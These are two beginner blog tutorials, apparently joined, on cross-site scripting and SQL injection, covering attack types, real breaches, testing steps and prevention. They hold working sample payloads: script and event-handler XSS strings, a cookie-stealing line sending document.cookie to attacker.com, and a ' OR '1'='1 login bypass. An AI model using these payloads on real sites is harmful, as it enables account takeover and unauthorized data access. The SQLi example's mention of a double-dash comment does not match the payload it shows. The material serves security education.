Author: kanishka10

Hello aspiring Ethical Hackers. In our previous blogpost on web server hacking, you learnt in brief about various web vulnerabilities. In this article, you will learn in detail about Cross Site Scripting (XSS) vulnerability.

If you’re starting your journey in ethical hacking, one of the first web vulnerabilities you’ll encounter is Cross-Site Scripting (XSS). It’s one of the most common and dangerous vulnerabilities found in web applications and also one of the easiest for beginners to understand and practice. In this guide, you’ll learn what XSS is, how it works, different types and how attackers exploit it in real-world scenarios.

What is XSS (Cross-Site Scripting)?

Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious scripts into a website, which are then executed in the browser of other users. Instead of attacking the server directly, XSS targets the users of the application. Simply put, an attacker tricks a website into delivering malicious JavaScript to other users.

How XSS Works?

Let’s say a website has a search box that displays user input like this:

You searched for: <user_input>

If the website does not properly sanitize input, an attacker can enter:

<script>alert("Hacked!")</script>

Now, instead of just showing text, the browser executes this script. What results is that a popup appears in every user’s browser who visits the website and loads that page. This is a simple example but real attacks are much more dangerous.

Types of XSS vulnerabilities

There are three main types of XSS vulnerabilities you should know as a beginner. They are,

1. Reflected XSS:

This type of vulnerability works when malicious script is part of a URL or request and the server reflects it back in the response. This type is delivered through user input in real-time. This type of attack relies on the user clicking on a link containing the injected code, which then executes the malicious script in their browser.

Example:

https://example.com/search?q=<script>alert(1)</script>

If the target website reflects this input without sanitization, the script gets executed. Common attack method for this is through Phishing emails containing malicious links.

2. Stored XSS (Persistent XSS):

This is the most dangerous type. That’s because, in this type of xss, malicious script is stored on the server (e.g., in a database). Every user who visits the page executes the script again and again.

It is more prevalent in comment sections, Forums and user profiles. An attacker posts a comment containing malicious JavaScript and every user who views the comment gets attacked.

3. DOM-Based XSS:

This type of XSS happens entirely on the client side (browser). It works when JavaScript on the page processes user input unsafely. There is no involvement of the server in this case.

Example:

document.getElementById(“output”).innerHTML = location.hash;

If this URL contains malicious code, it gets executed in the browser.

Why is XSS Dangerous?

XSS attacks can have serious consequences. This includes:

• Stealing of session cookies (account takeover)
• Logging keystrokes (capturing passwords)
• Redirecting users to malicious websites
• Defacing websites
• Performing actions on behalf of the victim

Real-world Impact of XSS

Here’s what attackers can actually do using XSS.

1. Session Hijacking:

Steal cookies and impersonate users:

document.location='http://attacker.com/steal?cookie='+document.cookie

2. Fake Login Forms:

Inject a fake login form to steal credentials.

3. Keylogging:

Capture everything a user types.

4. Malware Distribution:

Redirect users to malicious websites.

Let’s see some of the real-world exploitation cases of XSS.

British Airways:

In 2018, British Airways suffered a data breach due to cross site scripting. Magecart, a hacker group known for its card skimming scripture exploited a cross-site scripting vulnerability in Java script library known as feedify. This Java script library was modified to record customer data and send it to server controlled by Attackers using this, the attackers collected over 3,80,000 credit card details.

eBay:

eBay had a XSS vulnerability in its code for a short time at the end of 2015. EBay used an “URL” parameter to redirect users to the right page. However, the value submitted to this url parameter was not validated before it got inserted into the webpage. In the right attacker’s hand this could allow attacker to inject malicious code into the webpage. Luckily this didn’t happen.

How to identify XSS vulnerabilities?

Even beginners can start identifying vulnerabilties by following some steps.

Step 1: Find Input Points:

You can start by looking for:

• Search bars
• Login forms
• Comment sections
• URL parameters

Step 2: Inject Simple Payload:

Once you found the input points, try

<script>alert(1)</script>

If you see a popup, it is a possible XSS vulnerability.

Step 3: Try Variations:

Sometimes filters block basic scripts. Try:

<img src=x onerror=alert(1)>

or

<svg onload=alert(1)>

How to prevent XSS vulnerability?

XSS vulnerabilities can be prevented by folllowing some simple steps. They are,

1. Input Validation:

One of the most important measure you can take for preventing XSS attacks is input validation. This involves filtering and sanitizing user input to ensure that only safe and expected characters are allowed. This can be accomplished using a range of methods, including regular expressions, input masks and whitelisting.

2. Output Encoding:

Another important measure is output encoding. This involves encoding all output from the web application to prevent malicious code from being injected into the page. This can be accomplished using a range of methods, including HTML encoding, URL encoding and JavaScript encoding.

3. Use Secure Frameworks:

Modern frameworks automatically prevent XSS.

4. Content Security Policy:

Content Security Policy (CSP) is a security standard that allows developers to define the sources of content that are allowed to be loaded by their web application. By defining a CSP, developers can prevent malicious scripts from executing on their web pages, thereby mitigating the risk of XSS attacks. CSP works by specifying a whitelist of trusted sources for content, such as scripts, stylesheets and images. Any content that is not from a trusted source is blocked by the browser, preventing it from executing on the page.

5. Limiting the Use of Client-Side Scripting:

Another effective measure is to limit the use of client-side scripting languages like JavaScript. This can be accomplished by using server-side scripting languages like PHP or ASP.NET to generate dynamic content. By limiting the use of client-side scripting, developers can reduce the attack surface of their web application and minimize the risk of XSS attacks.

5. Using HTTP-Only Cookies:

HTTP-only cookies are a type of cookie that prevents client-side scripting languages like JavaScript from accessing them. By using HTTP-only cookies, developers can protect sensitive information stored in cookies from being accessed by attackers through XSS attacks. This can help prevent session hijacking and other types of attacks that rely on stealing session cookies.

5. Keeping Software Up-to Date:

Finally, it’s essential to keep all software used by the web application up-to-date, including web servers, frameworks, and third-party libraries. Developers should regularly check for security updates and patches and apply them promptly to reduce the risk of XSS attacks.

Conclusion

XSS is one of the most important vulnerabilities every ethical hacker must understand. It’s widely found in real-world applications and extremely powerful when exploited correctly.

By learning how XSS works, the different types and basic testing techniques, you’re already ahead of most beginners. Start practicing, experiment with payloads and gradually move into advanced techniques like bypassing filters and chaining attacks.

Hello, aspiring ethical hackers. In our previous blogpost on web application hacking, you have learnt about various vulnerabilities affecting web applications. In this article, you will learn about the most dangerous vulnerability among them all, SQL injection.

If you’re just starting your journey into ethical hacking or web security, SQL Injection (SQLi) is one of the first vulnerabilities you need to understand. It’s easy to learn, incredibly powerful and still widely found in real-world applications. More importantly, mastering this vulnerability helps you understand how web applications interact with databases, a core concept in cybersecurity. In this article, you will learn what SQL injection is, how it works, types of attacks and how to detect and prevent this vulnerability.

What is SQL Injection?

It is a vulnerability that allows attackers to manipulate database queries by injecting malicious SQL code into user inputs. These inputs could be login forms, search fields or even URL parameters.

Web applications often take user input and use it to build SQL queries. If that input isn’t properly handled, attackers can alter the query’s logic and gain unauthorized access to data.

How Does It Work?

These attacks typically occur when a web application does not properly validate user input, such as form data or user-generated content. An attacker can exploit this vulnerability by injecting malicious SQL statements into the input field, which are then executed by the web application’s database.

A Simple Example

Let’s see SQL Injection with a simple example. Imagine a website login system that checks credentials using a query like this:

SELECT * FROM users WHERE username = 'user' AND password = 'pass';

This looks fine but only if the input is safe. Now, suppose an attacker enters:

Username: admin
Password: ' OR '1'='1

Then, the query becomes:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';

Since ‘1’=’1′ is always true, the condition bypasses authentication. Uisng this, the attacker may log in without knowing user’s password.

This statement would trick the web application into believing that the attacker has a valid username, bypassing the need for a password. The double dash at the end of the statement serves as a comment delimiter which ignores any subsequent characters in the query. As a result, the attacker gains unauthorized access to the application and potentially sensitive data.

SQL Injection attacks can also occur through other input fields, such as search boxes, comment forms and URLs. An attacker can use a variety of techniques to inject malicious SQL statements, such as union queries, stacked queries and blind injection.

Types Of SQL Injection

There are various types of injection attacks. You don’t need to master every type immediately, but knowing the basics helps. They are,

1. In-Band Injection:

This injection type is the most common type. The attacker sends a payload and gets results in the same response.

2. Blind Injection:

In this type of injection, no direct output is shown. Attackers rely on application behavior (like true/false responses or delays) to extract data.

3. Time-Based Injection:

A type of blind SQLi where attackers use delays (e.g., database sleep functions) to confirm vulnerabilities.

Why is SQL Injection Dangerous?

It is not just about logging in without a password. It can even lead to serious consequences. They are,

1. Access to Sensitive Data:

Attackers can retrieve user credentials, emails and financial data.

2. Modification or Deletion of Data:

Entire Databases can be altered or wiped.

3. Admin Access:

The attacker can get full control over the application.

4. Server Compromise:

In some cases, attackers can execute commands on the server.

Even today, it remains one of the top security risks because many applications still fail to handle user input securely.

Real-world Examples Of SQL Injection

Here are some of the SQL injection vulnerabilities and their exploitation cases in Real-world.

1. Freepik Data Breach:

In year 2022, hackers stole over 8.3million Freepik & Flaticon users by exploiting a SQL injection vulnerability in company website.

2. Tesla Motors:

In 2014, a security researcher found a blind injection vulnerability in the Tesla Motors Design studio tool. This vulnerability if exploited could have given anyone access to Tesla backend database including customer call records.

3. Heartland Hack:

A team of hackers exploited an injection vulnerability in Heartland and other company’s website to gain access to their network and plant packet sniffing tools and other malware on their network.

How Attackers Find SQL Injection

Attackers often find these vulnerabilities using simple testing techniques. They are,

• Entering special characters like ‘ or ” into input fields
• Trying basic payloads like ‘ OR 1=1–
• Observing error messages or unusual behavior
• Testing URL parameters (e.g., id=1 → id=1′)

More advanced testers use tools but manual testing helps you truly understand what’s happening.

How to Prevent SQL Injection

Here’s the good news. SQL injection is one of the easiest vulnerabilities to fix, if you follow best practices.

1. Use Prepared Statements:

Prepared statements ensure user input is treated as data, not code. For example,

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

2. Validate Input:

This involves validating user input to ensure that it conforms to expected patterns or formats. Input validation can be implemented through client-side and server-side validation techniques.

3. Avoid Dynamic Queries:

Never build SQL queries by directly combining strings with user input. This involves using parameterized queries instead of dynamically generated SQL queries. Parameterized queries use placeholders for user input, rather than incorporating user input directly into the SQL query.

4. Use Secure Frameworks:

Modern frameworks (like Django or Node.js ORMs) handle many security concerns automatically.

5. Limit Database Permissions:

Make sure your application should never connect to the database with full admin privileges. This involves configuring the database server to restrict user access and ensure that each user has only the necessary access to perform their job functions. It also involves implementing strong passwords and two-factor authentication.

6. Hide Error Messages:

Detailed database errors can reveal valuable information to attackers. When a SQL error occurs, the database server may return an error message that includes sensitive information, such as the SQL query that caused the error or details about the database structure. An attacker can use this information to refine their attack and gain further access to the database. To prevent this, it’s important to configure error messages so that they do not reveal sensitive information.

7. Regular Updates:

This involves keeping web applications and database servers up-to-date with the latest security patches and updates.

8. Education and Training:

Regular education and training for developers, administrators and users is critical to preventing SQL Injection attacks. This includes training on secure coding practices, data security and password management.

Tools to detect SQL Injection

There are several tools available to help detect SQL Injection attacks. Some popular tools include:

1. SQLmap:

This is an open-source tool that automates the process of detecting and exploiting SQL Injection vulnerabilities. Learn how to perform sql injection with sqlmap.

2. Havij:

Havij is an automated SQL injection Graphical tool that helps penetration testers to find and exploit SQL Injection vulnerabilities. 

3. SQLsus:

Sqlsus is an open-source MYSQL injection and takeover tool

4. Netsparker:

This is a web application security scanner that includes this injection detection and prevention features.

5. Acunetix:

This is another web application security scanner that includes this Injection detection and prevention features.

6. Burp suite:

This is a web application security testing tool that includes a SQL injection Scanner.

7. OpenVAS:

This is an open-source vulnerability scanner that includes this injection detection and prevention features.

Why Beginners Should Learn SQL Injection?

SQL injection is often the first real “aha” moment in ethical hacking. It teaches you,

• How databases work behind web applications
• How small coding mistakes create big vulnerabilities
• How attackers think and exploit systems

Practicing SQL injection in safe environments (like vulnerable labs) builds a strong foundation for more advanced topics like authentication bypass, privilege escalation and web exploitation.

Conclusion

SQL Injection may seem simple but its impact is massive. For beginners, it’s the perfect starting point to understand both offensive and defensive security. If you’re serious about ethical hacking, don’t just read about SQL injection. Practice it in controlled labs, experiment with payloads and learn how to fix it. This combination of attack and defense is what turns beginners into skilled professionals.